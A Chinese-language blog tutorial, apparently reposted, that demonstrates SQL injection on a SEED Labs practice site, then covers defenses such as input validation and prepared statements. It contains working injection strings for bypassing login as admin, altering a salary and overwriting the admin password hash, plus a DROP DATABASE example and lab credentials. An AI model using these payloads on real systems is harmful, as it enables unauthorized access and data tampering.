SQL注入 | 黑客入门篇(如何绕过密码登陆账号)
SQL注入详解
什么是SQL注入
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,
而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登陆甚至篡改数据库。
SQL注入的总体思路
- 寻找到SQL注入的位置
- 判断服务器类型和后台数据库类型
- 针对不同的数据库和数据库特点进行SQL注入攻击
SQL注入攻击实例
String sql = "select * from user_table" where username=' "+userName" ' and password=' "password+" '";
# 当输入了上面的用户名和密码,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=''or 1=1 -- and password=''
"""
分析SQL语句:条件后面username"or 1=1 用户名等于 " 或1=1 那么这个条件一定会成功;然后后面加上两个-,这意味着注释,它将后面的sql语句注释,让它不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。对于一些不法黑客,如果执行的是以下的sql语句,后果不堪设想。
SELECT * FROM user_table WHERE username='';
DROP DATABASE(DB Name) --'and password=''
"""
下面演示黑客通过SQL注入攻击绕过密码直接登陆后台
演示环境准备
在Ubuntu12 虚拟机中安装SQL注入实验网站
$ tar -zxvf ./patch.tar.gz
$ cd patch
$ chmod a+x bootstrap.sh
$ ./bootstrap.sh
关闭PHP SQL
注入攻击保护机制
在/etc/php5/apache2/php.ini
文件中
修改magic quotes gpc = On为Off
启动Apache
服务(sudo service apache2 start
)
在另一台Linux
主机上配置DNS(在/etc/hosts
文件添加)
192.168.59.156 www.seedlabsqlinjection.com
ok!现在你可以成功访问了 通过命令行登录并查看数据库信息如下
$ mysql -u root -pseedubuntu
mysql> use Users;
mysql> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| credential |
+-----------------+
mysql> select * from credential;
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email | NickName | Password |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | | | | fdbe918bdae83000aa54747fc95fe0470fff4976 |
| 2 | Boby | 20000 | 30000 | 4/20 | 10213352 | | | | | b78ed97677c161c1c82c142906674ad15242b2d4 |
| 3 | Ryan | 30000 | 50000 | 4/10 | 98993524 | | | | | a3c50276cb120637cca669eb38fb9928b017e9ef |
| 4 | Samy | 40000 | 90000 | 1/11 | 32193525 | | | | | 995b8b8c183f349b3cab0ae7fccd39133508d2af |
| 5 | Ted | 50000 | 110000 | 11/3 | 32111111 | | | | | 99343bff28a7bb51cb6f22cb20a618701a2c2f58 |
| 6 | Admin | 99999 | 400000 | 3/5 | 43254314 | | | | | a5bdf35a1df4ea895905f6f6618e83951a6effc0 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
网站原始基本信息如下:
User Employee ID Password Salary Birthday SSN Nickname Email Address Phone#
Admin 99999 seedadmin 400000 3/5 43254314
Alice 10000 seedalice 20000 9/20 10211002
Boby 20000 seedboby 50000 4/20 10213352
Ryan 30000 seedryan 90000 4/10 32193525
Samy 40000 seedsamy 40000 1/11 32111111
Ted 50000 seedted 110000 11/3 24343244
黑客通过SQL注入越权直接变身admin
下面是网站登录模块的代码,黑客通过分析代码,找出逻辑漏洞,并基于此漏洞进行攻击!
$conn = getDB();
$sql = "SELECT id, name, eid, salary, birth, ssn,
phonenumber, address, email, nickname, Password
FROM credential
WHERE eid= '$input_eid' and password='$input_pwd'";
$result = $conn->query($sql))
// The following is psuedo code
if(name=='admin'){return All employees information.
} else if(name!=NULL){return employee information.
} else {authentication fails.
}
代码漏洞:"WHERE eid= '$input_eid' and password='$input_pwd'"
攻击串:' or Name='admin';#
攻击成功,成功登陆:
如果网站此时提供一个界面,供管理员修改你的工资
更改个人信息的代码如下:
$conn = getDB();
$sql = "UPDATE credential SET nickname='$nickname',
email='$email',
address='$address',
phonenumber='$phonenumber',
Password='$pwd'
WHERE id= '$input_id' ";
$conn->query($sql))
代码漏洞:$sql = "UPDATE credential SET nickname='$nickname',...
攻击串:',salary='9999999' where Name='Alice'#
成功修改工资余额,让你成为最富有的人:
黑客甚至可以通过SQL注入让管理员/本人无法登陆自己的账户!!!
root@gt:/home# echo -n "seedadmin" | openssl sha1
(stdin)= a5bdf35a1df4ea895905f6f6618e83951a6effc0
root@gt:/home# echo -n "hackbiji.top" | openssl sha1
(stdin)= a504e9efce2d451b08c285b2dfd2e7f8b241ba03
root@gt:/home#
攻击串:',Password='a504e9efce2d451b08c285b2dfd2e7f8b241ba03' where Name='Admin'#
此时管理员或者你本人也是无法登陆你自己的账号了
如何防御SQL注入
但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL
传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或
传递大的参数,我们要时刻保持警惕,这是安全领域里的【外部数据不可信任】的
原则,纵观Web安全领域的各种攻击方式,大多数都是开发者违反了这个原则
导致的,所以能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所
预想的。
1、检查变量数据类型和格式
如果你的sql语句是类似where id={$id}这种形式,数据库里所有的id都是数字,那
么就应该在SQL被执行前,检查确保变量id是int类型;如果是接受邮箱,那就应该
检查并确保变量一定是邮箱格式。其他的类型比如日期、时间等也是一个道理。总
结起来:只要是有固定格式的变量,在SQL语句执行前,应该严格按照固定格式去
检查,确保变量是我们预想的格式,这样很大程度上可以避免SQL注入攻击。比如,我们前面接受username参数例子中,我们产品设计应该在用户注册的一开
始,就有一个用户名的规则,比如5-20个字符,只能由大小写字母、数字以及一些
安全的符号组成,不包含特殊字符。此时我们应该有一个check_username的函数
来统一的检查。不过,仍然有很多例外情况并不能应用到这一准则,比如文章发布
系统,评论系统等必须要运行用户提交任意字符串的场景,这就需要采用过滤等其
他方案了。
2、过滤特殊符号
对于无法确定固定格式的变量,一定要进行特殊符号或转义处理。
3、绑定变量,使用预编译语句
MySQL的mysqli驱动提供了预编译语句的支持,不同的程序语言,都分别有使用预编
译语句的方法。
实际上,绑定变量使用预编译语句是预防SQL注入的最佳方式,使用预编译的SQL注
入的最佳方式,使用预编译的SQL语句语义,在SQL语句中,变量用问号?表示,黑客即使本事再大,也无法改变SQL语句的结构。
总结
作为一名Web应用开发人员,一定要对用户输入的数据进行严格的校验处理,否则的话,SQL Injection将会不期而至!
SQL注入 | 黑客入门篇(如何绕过密码登陆账号)相关推荐
- XSS注入基础入门篇
XSS注入基础入门篇 1.XSS基础概念 2. XSS的分类以及示例 2.1 反射型XSS 2.1.1 示例1:dvwa low 级别的反射型XSS 2.1.2 攻击流程 2.2 DOM型XSS 2. ...
- SQL注入攻防入门详解
转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...
- SQL 注入攻防入门详解
为什么80%的码农都做不了架构师?>>> SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...
- Sqlmap查找SQL注入漏洞入门
Sqlmap查找SQL注入漏洞入门 1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使 ...
- 关于sql注入这一篇就够了(适合入门)
本文章根据b站迪总课程总结出来,若有不足请见谅 目录 存在sql注入条件 判断数据库类型 注入mysql思路 判断网站是否存在注入点 判断列名数量(字段数) 文件读写操作 网站路径获取方法 注入类型 ...
- SQL注入漏洞入门(操作实现)
一 Sql-Inject的概述 SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句.它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器.攻击者可以使 ...
- SQL注入详解和简单绕过原理
1.什么是SQL 结构化查询语言(Structured Query Language)简称SQL SQL使我们有能力访问数据库 2.什么是SQL注入 用户提交的数据可以被数据库解析执行 如果用户随随便 ...
- SQL注入攻击总结篇
本文是关于SQL各种类型数据库的注入攻击自我复习总结,如果文中有不足的地方,麻烦大佬在评论中指出或者私聊我,谢谢- 本文讲述: SQL注入的原理 SQL注入的防御 SQL攻击的流程 其他数据库的注入方 ...
- hive hql文档_30分钟入门 Hive SQL(HQL 入门篇)
Hive SQL 几乎是每一位互联网分析师的必备技能,相信每一位面试过大厂的童鞋都有被面试官问到 Hive 优化问题的经历.所以掌握扎实的 HQL 基础尤为重要,既能帮分析师在日常工作中"如 ...
最新文章
- 关于VS2012如何安装Windows Phone Toolkit
- 09JavaScript中的作用域
- day21 登录cookie
- Java并发(一)——线程
- [栈应用一] 括号匹配问题
- 【数据结构和算法笔记】线性表的查找(平均查找长度,二分法,判定树)
- POJ-1163(DP,Water)
- 无损1080i到1080p是如何制作的
- Iar工程调试使用教程
- https免费泛域名证书申请
- WIN10安装CUDA10 cuDNN
- c语言二十四点算法,本文实例为大家分享了C语言经典24点算法的具体实现代码,供大家参考,具体内容如下1、概述 给定4个整数,其中每个数字只能使用一次;任意使用 + - * /...
- Linux中的截图工具
- 高德离线地图瓦片坐标偏移纠偏
- 批处理命令一日一教学
- 清华大学、北京大学毕业生的去向
- 测试的职责是什么,就是不当背锅侠
- html 点击增加样式,js点击添加css样式 css添加jq点击事件 JavaScript点击增加css样式...
- 域渗透基础之NTLM认证协议
- NPM配置阿里云(淘宝)镜像仓库
热门文章
- TypeError: Cannot create property ‘csrq‘ on string ‘‘“
- csv文件介绍与使用
- 常用的业务分析指标统计口径(基于Hive实现)
- 2021考研数学一李永乐660题【习题册+答案册】
- ELECTRA论文笔记
- 三星java面试_【面试问题】三星数据系统(西安)Java面试20190222
- 视频号打造个人IP,新手如何打造私域流量池:国仁楠哥
- web前端期末大作业 简单的学生网页作业源码 基于html css javascript绿色的在线教育平台网站响应式企业网站模板
- echarts3.8.4实现城市空气质量(结合百度地图bmap.js,小航哥)
- 从 hybrid开发----》微前端